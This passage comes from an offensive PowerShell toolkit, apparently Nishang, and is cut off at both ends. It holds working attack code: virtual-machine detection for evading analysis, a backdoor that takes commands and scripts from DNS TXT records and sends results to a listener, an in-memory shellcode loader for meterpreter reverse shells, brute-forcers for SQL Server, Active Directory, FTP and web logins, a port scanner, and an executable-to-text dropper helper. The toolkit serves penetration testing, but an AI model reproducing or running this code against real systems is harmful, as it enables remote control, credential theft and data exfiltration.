873
874 $vpc = Get-Process
875 if (($vpc -eq "vmusrvc.exe") -or ($vpc -match "vmsrvc.exe"))
876 {
877 $vpcvm = $true
878 }
879
880 if (!$vpcvm)
881 {
882 $vpc = Get-Process
883 if (($vpc -eq "vmwareuser.exe") -or ($vpc -match "vmwaretray.exe"))
884 {
885 $vpcvm = $true
886 }
887 }
888
889 if (!$vpcvm)
890 {
891 $vpc = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services
892 if (($vpc -match "vpc-s3") -or ($vpc -match "vpcuhub") -or ($vpc -match "msvmmouf"))
893 {
894 $vpcvm = $true
895 }
896 }
897
898 if ($vpcvm)
899 {
900
901 "This is a Virtual PC."
902
903 }
904
905
906 #Virtual Box
907
908 $vb = Get-Process
909 if (($vb -eq "vboxservice.exe") -or ($vb -match "vboxtray.exe"))
910 {
911
912 $vbvm = $true
913
914 }
915 if (!$vbvm)
916 {
917 $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT
918 if ($vb -match "vbox_")
919 {
920 $vbvm = $true
921 }
922 }
923
924 if (!$vbvm)
925 {
926 $vb = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT
927 if ($vb -match "vbox_")
928 {
929 $vbvm = $true
930 }
931 }
932
933
934 if (!$vbvm)
935 {
936 $vb = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier
937 if ($vb -match "vbox")
938 {
939 $vbvm = $true
940 }
941 }
942
943
944
945 if (!$vbvm)
946 {
947 $vb = Get-ItemProperty hklm:\HARDWARE\DESCRIPTION\System -Name SystemBiosVersion
948 if ($vb -match "vbox")
949 {
950 $vbvm = $true
951 }
952 }
953
954
955 if (!$vbvm)
956 {
957 $vb = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services
958 if (($vb -match "VBoxMouse") -or ($vb -match "VBoxGuest") -or ($vb -match "VBoxService") -or ($vb -match "VBoxSF"))
959 {
960 $vbvm = $true
961 }
962 }
963
964 if ($vbvm)
965 {
966
967 "This is a Virtual Box."
968
969 }
970
971
972
973 #Xen
974
975 $xen = Get-Process
976
977 if ($xen -eq "xenservice.exe")
978 {
979
980 $xenvm = $true
981
982 }
983
984 if (!$xenvm)
985 {
986 $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\FADT
987 if ($xen -match "xen")
988 {
989 $xenvm = $true
990 }
991 }
992
993 if (!$xenvm)
994 {
995 $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\DSDT
996 if ($xen -match "xen")
997 {
998 $xenvm = $true
999 }
1000 }
1001
1002 if (!$xenvm)
1003 {
1004 $xen = Get-ChildItem HKLM:\HARDWARE\ACPI\RSDT
1005 if ($xen -match "xen")
1006 {
1007 $xenvm = $true
1008 }
1009 }
1010
1011
1012 if (!$xenvm)
1013 {
1014 $xen = Get-ChildItem HKLM:\SYSTEM\ControlSet001\Services
1015 if (($xen -match "xenevtchn") -or ($xen -match "xennet") -or ($xen -match "xennet6") -or ($xen -match "xensvc") -or ($xen -match "xenvdb"))
1016 {
1017 $xenvm = $true
1018 }
1019 }
1020
1021
1022 if ($xenvm)
1023 {
1024
1025 "This is a Xen Machine."
1026
1027 }
1028
1029
1030 #QEMU
1031
1032 $qemu = Get-Childitem hklm:\hardware\devicemap\scsi -recurse | gp -Name identifier
1033 if ($qemu -match "qemu")
1034 {
1035
1036 $qemuvm = $true
1037
1038 }
1039
1040 if (!$qemuvm)
1041 {
1042 $qemu = Get-ItemProperty hklm:HARDWARE\DESCRIPTION\System\CentralProcessor\0 -Name ProcessorNameString
1043 if ($qemu -match "qemu")
1044 {
1045 $qemuvm = $true
1046 }
1047 }
1048
1049 if ($qemuvm)
1050 {
1051
1052 "This is a Qemu machine."
1053
1054 }
1055
1056}
1057
1058
1059#####################Acts as a backdoor and is capable of recieving commands and PowerShell scripts from DNS TXT queries.#####################
1060function DNS_TXT_Pwnage
1061{
1062
1063<#
1064.SYNOPSIS
1065A backdoor capable of recieving commands and PowerShell scripts from DNS TXT queries.
1066.DESCRIPTION
1067This script continuously queries a domain's TXT records. It could be sent commands and powershell scripts using the TXT records which are executed on the target machine.
1068The PowerShell script which would be served as TXT record must be generated using Out-DnsTxt.ps1 in the Utility folder.
1069While using the AuthNS option it should be kept in mind that it increases chances of detection.
1070Leaving the DNS resolution to authorised name server of a target environment may be more desirable.
1071If using DNS or Webserver ExfilOption, use Invoke-Decode.ps1 in the Utility folder to decode the exfiltrated data.
1072.PARAMETER startdomain
1073The domain (or subdomain) whose TXT records would be checked regularly for further instructions.
1074.PARAMETER cmdstring
1075 The string, if responded by TXT record of startdomain, will make the payload query "commanddomain" for commands.
1076
1077.PARAMETER commanddomain
1078The domain (or subdomain) whose TXT records would be used to issue commands to the payload.
1079.PARAMETER psstring
1080 The string, if responded by TXT record of startdomain, will make the payload query "psdomain" for encoded powershell script.
1081.PARAMETER psdomain
1082The domain (or subdomain) whose subdomains would be used to provide powershell scripts from TXT records.
1083.PARAMETER Arguments
1084Arguments to be passed to a script. Powerpreter and other scripts in Nishang need the function name and arguments here.
1085.PARAMETER subdomains
1086The number of subdomains which would be used to provide powershell scripts from their TXT records.
1087The length of DNS TXT records is assumed to be 255 characters, so more than one subdomains would be required.
1088.PARAMETER stopstring
1089The string, if responded by TXT record of startdomain, will stop this payload on the target.
1090.PARAMETER AuthNS
1091Authoritative Name Server for the domains (or for startdomain in case you are using separate domains).
1092Startdomain would be changed for commands and an authoritative reply shoudl reflect changes immediately.
1093.EXAMPLE
1094PS > DNS_TXT_Pwnage
1095The payload will ask for all required options.
1096.EXAMPLE
1097PS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain script.alteredsecurity.com -Arguments Get-WLAN-Keys -Subdomains 3 -StopString stop -AuthNS ns8.zoneedit.com
1098In the above example if you want to execute commands. TXT record of start.alteredsecurity.com
1099must contain only "begincommands" and command.alteredsecurity.com should conatin a single command
1100you want to execute. The TXT record could be changed live and the payload will pick up updated
1101record to execute new command.
1102To execute a script in above example, start.alteredsecurity.com must contain "startscript". As soon it matches, the payload will query
11031.script.alteredsecurity.com, 2.script.alteredsecurity.com and 3.script.alteredsecurity.com looking for a base64encoded powershell script.
1104Use the Arguments paramter if the downloaded script loads a function.
1105Use the Out-DnsTxt script in the Utility folder to encode scripts to base64.
1106.EXAMPLE
1107PS > DNS_TXT_Pwnage -StartDomain start.alteredsecurity.com -cmdstring begincommands -CommandDomain command.alteredsecurity.com -psstring startscript -PSDomain script.alteredsecurity.com -Arguments Get-WLAN-Keys -Subdomains 3 -StopString stop -AuthNS ns8.zoneedit.com | Do-Exfiltration -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php
1108Use above command for sending POST request to your webserver which is able to log the requests.
1109.LINK
1110http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html
1111https://github.com/samratashok/nishang
1112#>
1113
1114
1115 [CmdletBinding(DefaultParameterSetName="noexfil")] Param(
1116
1117 [Parameter(Position = 0, Mandatory = $True)]
1118 [String]
1119 $startdomain,
1120
1121 [Parameter(Position = 1, Mandatory = $True)]
1122 [String]
1123 $cmdstring,
1124
1125 [Parameter(Position = 2, Mandatory = $True)]
1126 [String]
1127 $commanddomain,
1128
1129 [Parameter(Position = 3, Mandatory = $True)]
1130 [String]
1131 $psstring,
1132
1133 [Parameter(Position = 4, Mandatory = $True)]
1134 [String]
1135 $psdomain,
1136
1137 [Parameter(Position = 5, Mandatory = $False)]
1138 [String]
1139 $Arguments = "Out-Null",
1140
1141 [Parameter(Position = 6, Mandatory = $True)]
1142 [String]
1143 $Subdomains,
1144
1145 [Parameter(Position = 7, Mandatory = $True)]
1146
1147 [String]
1148 $StopString,
1149
1150 [Parameter(Position = 8, Mandatory = $True)]
1151 [String]$AuthNS,
1152
1153
1154 [Parameter()]
1155 [Switch]
1156 $NoLoadFunction
1157
1158 )
1159
1160 while($true)
1161 {
1162 $exec = 0
1163 start-sleep -seconds 5
1164 if ($AuthNS -ne $null)
1165 {
1166 $getcode = (Invoke-Expression "nslookup -querytype=txt $startdomain $AuthNS")
1167 }
1168 else
1169 {
1170 $getcode = (Invoke-Expression "nslookup -querytype=txt $startdomain")
1171 }
1172 $tmp = $getcode | select-string -pattern "`""
1173 $startcode = $tmp -split("`"")[0]
1174 if ($startcode[1] -eq $cmdstring)
1175 {
1176 start-sleep -seconds 5
1177 if ($AuthNS -ne $null)
1178 {
1179 $getcommand = (Invoke-Expression "nslookup -querytype=txt $commanddomain $AuthNS")
1180 }
1181 else
1182 {
1183 $getcommand = (Invoke-Expression "nslookup -querytype=txt $commanddomain")
1184 }
1185 $temp = $getcommand | select-string -pattern "`""
1186 $command = $temp -split("`"")[0]
1187 $pastevalue = Invoke-Expression $command[1]
1188 $pastevalue
1189 $exec++
1190 if ($exfil -eq $True)
1191 {
1192 $pastename = $env:COMPUTERNAME + " Results of DNS TXT Pwnage: "
1193 Do-Exfiltration "$pastename" "$pastevalue" "$ExfilOption" "$dev_key" "$username" "$password" "$URL" "$DomainName" "$ExfilNS"
1194 }
1195 if ($exec -eq 1)
1196 {
1197 Start-Sleep -Seconds 60
1198 }
1199 }
1200
1201 if ($startcode[1] -match $psstring)
1202 {
1203
1204 $i = 1
1205 while ($i -le $subdomains)
1206 {
1207 if ($AuthNS -ne $null)
1208 {
1209 $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$psdomain $AuthNS")
1210 }
1211 else
1212 {
1213 $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$psdomain")
1214 }
1215 $temp = $getcommand | select-string -pattern "`""
1216 $tmp1 = ""
1217 $tmp1 = $tmp1 + $temp
1218 $encdata = $encdata + $tmp1 -replace '\s+', "" -replace "`"", ""
1219 $i++
1220 }
1221 #Decode the downloaded powershell script. The decoding logic is of Invoke-Decode in Utility directory.
1222 $dec = [System.Convert]::FromBase64String($encdata)
1223 $ms = New-Object System.IO.MemoryStream
1224 $ms.Write($dec, 0, $dec.Length)
1225 $ms.Seek(0,0) | Out-Null
1226 $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
1227 $sr = New-Object System.IO.StreamReader($cs)
1228 $command = $sr.readtoend()
1229 $pastevalue = Invoke-Expression $command
1230
1231 # Check for arguments to the downloaded script.
1232 if ($Arguments -ne "Out-Null")
1233 {
1234 $pastevalue = Invoke-Expression $Arguments
1235 }
1236
1237 $pastevalue
1238 $exec++
1239 if ($exfil -eq $True)
1240 {
1241 $pastename = $env:COMPUTERNAME + " Results of DNS TXT Pwnage: "
1242 Do-Exfiltration "$pastename" "$pastevalue" "$ExfilOption" "$dev_key" "$username" "$password" "$URL" "$DomainName" "$ExfilNS"
1243 }
1244 if ($exec -eq 1)
1245 {
1246 Start-Sleep -Seconds 60
1247 }
1248
1249 }
1250
1251 if($startcode[1] -eq $StopString)
1252 {
1253 break
1254 }
1255 }
1256}
1257
1258#####################Execute shellcode in-memory. The shellcode is recieved from DNS TXT queries.#####################
1259
1260function Execute-DNSTXT-Code
1261{
1262
1263
1264<#
1265.SYNOPSIS
1266Payload which could execute shellcode from DNS TXT queries.
1267.DESCRIPTION
1268This payload is able to pull shellcode from txt record of a domain.
1269Below commands could be used to generate shellcode to be usable with this script
1270./msfvenom -p windows/meterpreter/reverse_https -f powershell LHOST=<>
1271./msfvenom -p windows/x64/meterpreter/reverse_https -f powershell LHOST=<>
1272To generate TXT records from above shellcode, use Out-DnsTxt.ps1 in the Utility folder.
1273.PARAMETER shellcode32
1274The domain (or subdomain) whose subbdomain's TXT records would hold 32-bit shellcode.
1275.PARAMETER shellcode64
1276The domain (or subdomain) whose subbdomain's TXT records would hold 64-bit shellcode.
1277 .PARAMETER AUTHNS
1278Authoritative Name Server for the domains.
1279.PARAMETER subdomains
1280The number of subdomains which would be used to provide shellcode from their TXT records.
1281.EXAMPLE
1282PS > Execute-DNSTXT-Code
1283The payload will ask for all required options.
1284.EXAMPLE
1285PS > Execute-DNSTXT-Code 32.alteredsecurity.com 64.alteredsecurity.com ns8.zoneedit.com -SubDomains 5
1286Use above from non-interactive shell.
1287.LINK
1288http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html
1289https://github.com/samratashok/nishang
1290.NOTES
1291The code execution logic is based on this post by Matt.
1292http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html
1293#>
1294
1295
1296 [CmdletBinding()] Param(
1297 [Parameter(Position = 0, Mandatory = $True)]
1298 [String]
1299 $ShellCode32,
1300
1301 [Parameter(Position = 1, Mandatory = $True)]
1302 [String]
1303 $ShellCode64,
1304
1305 [Parameter(Position = 2, Mandatory = $True)]
1306 [String]
1307 $AuthNS,
1308
1309 [Parameter(Position = 3, Mandatory = $True)]
1310 [String]
1311 $Subdomains
1312
1313 )
1314
1315 #Function to get shellcode from TXT records
1316 function Get-ShellCode
1317 {
1318 Param(
1319 [Parameter()]
1320 [String]
1321 $ShellCode
1322 )
1323 $i = 1
1324 while ($i -le $subdomains)
1325 {
1326 if ($AuthNS -ne $null)
1327 {
1328 $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$ShellCode $AuthNS")
1329 }
1330 else
1331 {
1332 $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$ShellCode")
1333 }
1334 $temp = $getcommand | select-string -pattern "`""
1335 $tmp1 = ""
1336 $tmp1 = $tmp1 + $temp
1337 $encdata = $encdata + $tmp1 -replace '\s+', "" -replace "`"", ""
1338 $i++
1339 }
1340 #Decode the downloaded powershell script. The decoding logic is of Invoke-Decode in Utility directory.
1341 $dec = [System.Convert]::FromBase64String($encdata)
1342 $ms = New-Object System.IO.MemoryStream
1343 $ms.Write($dec, 0, $dec.Length)
1344 $ms.Seek(0,0) | Out-Null
1345 $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
1346 $sr = New-Object System.IO.StreamReader($cs)
1347 $sc = $sr.readtoend()
1348 return $sc
1349 }
1350 if ([IntPtr]::Size -eq 8)
1351 {
1352 $Shell64 = (Get-ShellCode $ShellCode64)
1353 #Remove unrequired things from msf shellcode
1354 $tmp = $Shell64 -replace "`n","" -replace '\$buf \+\= ',"," -replace '\[Byte\[\]\] \$buf \=' -replace " "
1355 [Byte[]]$sc = $tmp -split ','
1356 }
1357 else
1358 {
1359 $shell32 = (Get-ShellCode $ShellCode32)
1360 $tmp = $Shell32 -replace "`n","" -replace '\$buf \+\= ',"," -replace '\[Byte\[\]\] \$buf \=' -replace " "
1361 [Byte[]]$sc = $tmp -split ','
1362 }
1363
1364 #Code Execution logic
1365 $code = @'
1366 [DllImport("kernel32.dll")]
1367 public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
1368 [DllImport("kernel32.dll")]
1369 public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
1370 [DllImport("msvcrt.dll")]
1371 public static extern IntPtr memset(IntPtr dest, uint src, uint count);
1372'@
1373 $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
1374 $size = 0x1000
1375 if ($sc.Length -gt 0x1000) {$size = $sc.Length}
1376 $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
1377 for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
1378 $winFunc::CreateThread(0,0,$x,0,0,0)
1379 while($True)
1380 {
1381 start-sleep -Seconds 100
1382 }
1383}
1384
1385
1386###############################################convert an executable to text file.#######################################################
1387function ExetoText
1388{
1389<#
1390.SYNOPSIS
1391Nishang script to convert an executable to text file.
1392.DESCRIPTION
1393This script converts and an executable to a text file.
1394.PARAMETER EXE
1395The path of the executable to be converted.
1396.PARAMETER FileName
1397Path of the text file to which executable will be converted.
1398.EXAMPLE
1399PS > ExetoText C:\binaries\evil.exe C:\test\evil.txt
1400.LINK
1401http://www.exploit-monday.com/2011/09/dropping-executables-with-powershell.html
1402https://github.com/samratashok/nishang
1403#>
1404 [CmdletBinding()] Param(
1405 [Parameter(Position = 0, Mandatory = $True)]
1406 [String]
1407 $EXE,
1408
1409 [Parameter(Position = 1, Mandatory = $True)]
1410 [String]
1411 $Filename
1412 )
1413 [byte[]] $hexdump = get-content -encoding byte -path "$EXE"
1414 [System.IO.File]::WriteAllLines($Filename, ([string]$hexdump))
1415 Write-Output "Converted file written to $Filename"
1416}
1417
1418
1419
1420################################Performs a Brute-Force Attack against SQL Server, Active Directory, Web and FTP.###########################
1421####Thanks Niklas Goude#####
1422###http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/03/use-powershell-to-security-test-sql-server-and-sharepoint.aspx
1423
1424function Invoke-BruteForce
1425{
1426 <#
1427.SYNOPSIS
1428Nishang payload which performs a Brute-Force Attack against SQL Server, Active Directory, Web and FTP.
1429.DESCRIPTION
1430This payload can brute force credentials for SQL Server, ActiveDirectory, Web or FTP.
1431.PARAMETER Computername
1432Specifies a SQL Server, Domain, FTP Site or Web Site.
1433.PARAMETER UserList
1434Specify a list of users. If blank, trusted connection will be used for SQL and an error will be genrated for other services.
1435.PARAMETER PasswordList
1436Specify a list of passwords.
1437.PARAMETER Service
1438Enter a Service from SQL, ActiveDirecotry, FTP and Web. Default service is set to SQL.
1439.PARAMETER StopOnSuccess
1440Use this switch to stop the brute forcing on the first success.
1441.EXAMPLE
1442PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose
1443Brute force a SQL Server SQLServ01 for users listed in users.txt and passwords in wordlist.txt
1444.EXAMPLE
1445PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose
1446Brute force a Domain Controller of targetdomain.com for users listed in users.txt and passwords in wordlist.txt.
1447Since StopOnSuccess is specified, the brute forcing stops on first success.
1448.EXAMPLE
1449PS > cat C:\test\servers.txt | Invoke-BruteForce -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose
1450Brute force SQL Service on all the servers specified in servers.txt
1451.LINK
1452http://www.truesec.com
1453http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/03/use-powershell-to-security-test-sql-server-and-sharepoint.aspx
1454https://github.com/samratashok/nishang
1455.NOTES
1456Goude 2012, TreuSec
1457#>
1458 [CmdletBinding()] Param(
1459 [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
1460 [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
1461 [String]
1462 $ComputerName,
1463
1464 [Parameter(Position = 1, Mandatory = $false)]
1465 [String]
1466 $UserList,
1467
1468 [Parameter(Position = 2, Mandatory = $false)]
1469 [String]
1470 $PasswordList,
1471
1472 [Parameter(Position = 3, Mandatory = $false)] [ValidateSet("SQL","FTP","ActiveDirectory","Web")]
1473 [String]
1474 $Service = "SQL",
1475
1476 [Parameter(Position = 4, Mandatory = $false)]
1477 [Switch]
1478 $StopOnSuccess
1479 )
1480
1481 Process
1482 {
1483 $usernames = Get-Content $UserList
1484 $passwords = Get-Content $PasswordList
1485 #Brute force SQL Server
1486 $Connection = New-Object System.Data.SQLClient.SQLConnection
1487 function CheckForSQLSuccess
1488 {
1489 Try
1490 {
1491 $Connection.Open()
1492 $success = $true
1493 }
1494 Catch
1495 {
1496 $success = $false
1497 }
1498 if($success -eq $true)
1499 {
1500 Write-Output "Match found! $username : $Password"
1501 switch ($connection.ServerVersion) {
1502 { $_ -match "^6" } { "SQL Server 6.5";Break UsernameLoop }
1503 { $_ -match "^6" } { "SQL Server 7";Break UsernameLoop }
1504 { $_ -match "^8" } { "SQL Server 2000";Break UsernameLoop }
1505 { $_ -match "^9" } { "SQL Server 2005";Break UsernameLoop }
1506 { $_ -match "^10\.00" } { "SQL Server 2008";Break UsernameLoop }
1507 { $_ -match "^10\.50" } { "SQL Server 2008 R2";Break UsernameLoop }
1508 { $_ -match "^11" } { "SQL Server 2012";Break UsernameLoop }
1509 { $_ -match "^12" } { "SQL Server 2014";Break UsernameLoop }
1510 Default { "Unknown" }
1511 }
1512 }
1513 }
1514 if($service -eq "SQL")
1515 {
1516 Write-Output "Brute Forcing SQL Service on $ComputerName"
1517 if($userList)
1518 {
1519 :UsernameLoop foreach ($username in $usernames)
1520 {
1521 foreach ($Password in $Passwords)
1522 {
1523 $Connection.ConnectionString = "Data Source=$ComputerName;Initial Catalog=Master;User Id=$userName;Password=$password;"
1524 Write-Verbose "Checking $userName : $password"
1525 CheckForSQLSuccess
1526 }
1527 }
1528 }
1529 else
1530 {
1531 #If no username is provided, use trusted connection
1532 $Connection.ConnectionString = "server=$identity;Initial Catalog=Master;trusted_connection=true;"
1533 CheckForSQLSuccess
1534
1535 }
1536 }
1537
1538 #Brute Force FTP
1539 elseif ($service -eq "FTP")
1540 {
1541 if($ComputerName -notMatch "^ftp://")
1542 {
1543 $source = "ftp://" + $ComputerName
1544 }
1545 else
1546 {
1547 $source = $ComputerName
1548 }
1549 Write-Output "Brute Forcing FTP on $ComputerName"
1550
1551 :UsernameLoop foreach ($username in $usernames)
1552 {
1553 foreach ($Password in $Passwords)
1554 {
1555 try
1556 {
1557 $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
1558 $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
1559 Write-Verbose "Checking $userName : $password"
1560 $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
1561 $result = $ftpRequest.GetResponse()
1562 $message = $result.BannerMessage + $result.WelcomeMessage
1563 Write-Output "Match found! $username : $Password"
1564 $success = $true
1565 if ($StopOnSuccess)
1566 {
1567 break UsernameLoop
1568 }
1569 }
1570
1571 catch
1572 {
1573 $message = $error[0].ToString()
1574 $success = $false
1575 }
1576 }
1577 }
1578 }
1579
1580 #Brute Force Active Directory
1581 elseif ($service -eq "ActiveDirectory")
1582 {
1583 Write-Output "Brute Forcing Active Directory $ComputerName"
1584 Add-Type -AssemblyName System.DirectoryServices.AccountManagement
1585 $contextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain
1586 Try
1587 {
1588 $principalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($contextType, $ComputerName)
1589 $success = $true
1590 }
1591 Catch
1592 {
1593 $message = "Unable to contact Domain"
1594 $success = $false
1595 }
1596 if($success -ne $false)
1597 {
1598 :UsernameLoop foreach ($username in $usernames)
1599 {
1600 foreach ($Password in $Passwords)
1601 {
1602 Try
1603 {
1604 Write-Verbose "Checking $userName : $password"
1605 $success = $principalContext.ValidateCredentials($username, $password)
1606 $message = "Password Match"
1607 if ($success -eq $true)
1608 {
1609 Write-Output "Match found! $username : $Password"
1610 if ($StopOnSuccess)
1611 {
1612 break UsernameLoop
1613 }
1614 }
1615 }
1616 Catch
1617 {
1618 $success = $false
1619 $message = "Password doesn't match"
1620 }
1621 }
1622 }
1623 }
1624 }
1625 #Brute Force Web
1626 elseif ($service -eq "Web")
1627 {
1628 if ($ComputerName -notMatch "^(http|https)://")
1629 {
1630 $source = "http://" + $ComputerName
1631 }
1632 else
1633 {
1634 $source = $ComputerName
1635 }
1636 :UsernameLoop foreach ($username in $usernames)
1637 {
1638 foreach ($Password in $Passwords)
1639 {
1640 $webClient = New-Object Net.WebClient
1641 $securePassword = ConvertTo-SecureString -AsPlainText -String $password -Force
1642 $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $userName, $securePassword
1643 $webClient.Credentials = $credential
1644 Try
1645 {
1646 Write-Verbose "Checking $userName : $password"
1647 $source
1648 $webClient.DownloadString($source)
1649 $success = $true
1650 $success
1651 if ($success -eq $true)
1652 {
1653 Write-Output "Match found! $Username : $Password"
1654 if ($StopOnSuccess)
1655 {
1656 break UsernameLoop
1657 }
1658 }
1659 }
1660 Catch
1661 {
1662 $success = $false
1663 $message = "Password doesn't match"
1664 }
1665 }
1666 }
1667 }
1668 }
1669}
1670
1671
1672
1673#########################################Scan IP-Addresses, Ports and HostNames############################################################
1674####Thanks Niklas Goude#####
1675function Port-Scan {
1676
1677<#
1678.SYNOPSIS
1679Nihsang payload which Scan IP-Addresses, Ports and HostNames
1680.DESCRIPTION
1681Scan for IP-Addresses, HostNames and open Ports in your Network.
1682
1683.PARAMETER StartAddress
1684StartAddress Range
1685.PARAMETER EndAddress
1686EndAddress Range
1687.PARAMETER ResolveHost
1688Resolve HostName
1689.PARAMETER ScanPort
1690Perform a PortScan
1691.PARAMETER Ports
1692Ports That should be scanned, default values are: 21,22,23,53,69,71,80,98,110,139,111,
1693389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,
16945801,5900,5555,5901
1695.PARAMETER TimeOut
1696Time (in MilliSeconds) before TimeOut, Default set to 100
1697.EXAMPLE
1698Port-Scan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254
1699.EXAMPLE
1700Port-Scan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost
1701.EXAMPLE
1702Port-Scan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort
1703.EXAMPLE
1704Port-Scan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort -TimeOut 500
1705.EXAMPLE
1706Port-Scan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80
1707.LINK
1708http://www.truesec.com
1709http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
1710https://github.com/samratashok/nishang
1711
1712.NOTES
1713Goude 2012, TrueSec
1714#>
1715
1716
1717[CmdletBinding()] Param(
1718 [parameter(Mandatory = $true,
1719 Position = 0)]
1720 [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
1721 [string]$StartAddress,
1722 [parameter(Mandatory = $true,
1723 Position = 1)]
1724 [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
1725 [string]$EndAddress,
1726 [switch]$ResolveHost,
1727 [switch]$ScanPort,
1728 [int[]]$Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
1729 [int]$TimeOut = 100
1730 )
1731
1732 Begin {
1733 $ping = New-Object System.Net.Networkinformation.Ping
1734 }
1735 Process {
1736 foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
1737 foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
1738 foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
1739 foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
1740 write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
1741 $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
1742 if($pingStatus.Status -eq "Success") {
1743 if($ResolveHost) {
1744 write-progress -activity ResolveHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1
1745 $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
1746 }
1747 if($ScanPort) {
1748 $openPorts = @()
1749 for($i = 1; $i -le $ports.Count;$i++) {
1750 $port = $Ports[($i-1)]
1751 write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
1752 $client = New-Object System.Net.Sockets.TcpClient
1753 $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
1754 if($client.Connected) {
1755 $openPorts += $port
1756 } else {
1757 # Wait
1758 Start-Sleep -Milli $TimeOut
1759 if($client.Connected) {
1760 $openPorts += $port
1761 }
1762 }
1763 $client.Close()
1764 }
1765 }
1766 if($ResolveHost) {
1767 $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
1768 }
1769 # Return Object
1770 New-Object PSObject -Property @{
1771 IPAddress = "$a.$b.$c.$d";
1772 HostName = $hostName;
1773 Ports = $openPorts
1774 } | Select-Object IPAddress, HostName, Ports
1775 }
1776 }
1777 }
1778 }
1779 }
1780 }
1781 End {
1782 }
1783}
1784
1785############################################################Convert a plain string to Base64 encoding.####################################
1786function StringtoBase64
1787{
1788
1789
1790<#
1791.SYNOPSIS
1792Helper function which encodes a string to base64 string.
1793.DESCRIPTION
1794This payload encodes the given string to base64 string and writes it to base64encoded.txt in current directory.
1795.PARAMETER Str
1796The string to be encoded
1797.PARAMETER OutputFile
1798The path of the output file. Default is "encoded.txt" in the current working directory.
1799.PARAMETER IsString
1800Use this to specify if you are passing a string ins place of a filepath.
1801.EXAMPLE
1802PS > StringToBase64 "start-process calc.exe" -IsString
1803.LINK
1804http://labofapenetrationtester.blogspot.com/
1805https://github.com/samratashok/nishang
1806#>
1807
1808
1809 [CmdletBinding()]
1810 Param( [Parameter(Position = 0, Mandatory = $False)]
1811 [String]
1812 $Str,
1813
1814 [Parameter(Position = 1, Mandatory = $False)]
1815 [String]
1816 $outputfile=".\base64encoded.txt",
1817
1818 [Switch]
1819 $IsString
1820 )
1821
1822 if($IsString -eq $true)
1823 {
1824
